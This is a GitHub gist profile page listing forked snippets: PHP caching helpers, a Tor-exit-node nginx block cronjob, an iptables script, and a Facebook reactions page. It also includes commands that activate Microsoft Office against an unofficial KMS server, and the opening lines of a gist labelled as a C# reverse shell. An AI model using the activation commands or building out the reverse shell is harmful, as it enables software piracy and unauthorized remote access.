Skip to content

Instantly share code, notes, and snippets.

GeE siamware

Block or report user

Report or block siamware

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@siamware
siamware / Office_kms
Created Jul 13, 2019 — forked from CHEF-KOCH/Office_kms
KMS server Windows
View Office_kms
cd\Program Files\Microsoft Office\Office16
cd\Program Files (x86)\Microsoft Office\Office16
cscript OSPP.VBS /sethst:kms.digiboy.ir
cscript OSPP.VBS /actcscript OSPP.VBS /dstatus
slmgr.vbs /ckms
@siamware
siamware / cache.phpi
Created Feb 24, 2019 — forked from CAFxX/cache.phpi
PHP remote file/URL cache
View cache.phpi
<?php
/*
A simple cache for remote files/URLs
2011 Carlo Alberto Ferraris <cafxx@strayorange.com>
===================================================
The cache function allows you to get the contents of a remote URL at
most once every N seconds. It also supports the If-Modified-Since HTTP
header to avoid fetching the resource again if it hasn't changed.
View watermark.html
<img src="watermark.php?watermark=watermark.png&src=test.jpg" />
@siamware
siamware / block-tor.sh
Created May 31, 2018 — forked from tiagoad/block-tor.sh
Cronjob to block tor exit nodes with nginx on debian 8 jessie
View block-tor.sh
wget -qO- https://check.torproject.org/exit-addresses | grep ExitAddress | cut -d ' ' -f 2 | sed "s/^/deny /g; s/$/;/g" > /etc/nginx/conf.d/tor-block.conf; systemctl reload nginx
@siamware
siamware / cache.php
Created Apr 9, 2018 — forked from mibrahim/cache.php
php caching
View cache.php
https://davidwalsh.name/php-cache-function
/* gets the contents of a file if it exists, otherwise grabs and caches */
function get_content($file,$url,$hours = 24,$fn = '',$fn_args = '') {
//vars
$current_time = time(); $expire_time = $hours * 60 * 60; $file_time = filemtime($file);
//decisions, decisions
if(file_exists($file) && ($current_time - $expire_time < $file_time)) {
//echo 'returning from cached file';
return file_get_contents($file);
@siamware
siamware / cache-json.php
Created Apr 9, 2018 — forked from erwstout/cache-json.php
Write JSON file and cache it.
View cache-json.php
<?php
/**
* Write an array to a JSON file. Replace $data with your array,
* and skip JSON encoding if you already have JSON
*/
function write_data_to_file( $filename ) {
$json = file_get_contents( 'http://path.to/external-site/file.json');
$time = time();
file_put_contents( $filename, $json );
}
@siamware
siamware / reverse.cs
Created Jan 5, 2018 — forked from fdiskyou/reverse.cs
C# Reverse Shell
View reverse.cs
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;
namespace ConnectBack
@siamware
siamware / http-benchmark.md
Created May 3, 2017 — forked from denji/http-benchmark.md
HTTP(S) Benchmark Tools / Toolkit for testing/debugging HTTP(S) and restAPI (RESTful)
View http-benchmark.md
@siamware
siamware / index.html
Created Mar 24, 2017 — forked from J0ker98/index.html
Working Facebook Reactions count and webpage show
View index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Facebook Reactions</title>
<style>
html {
box-sizing: border-box;
width: 100%;
height: 100%;
View iptables.sh
#!/bin/sh -x
# ==================================
# iptables default configuration script
#
# - this locks down our servers port access
# ==================================
# install fail2ban
sudo apt-get update
You can’t perform that action at this time.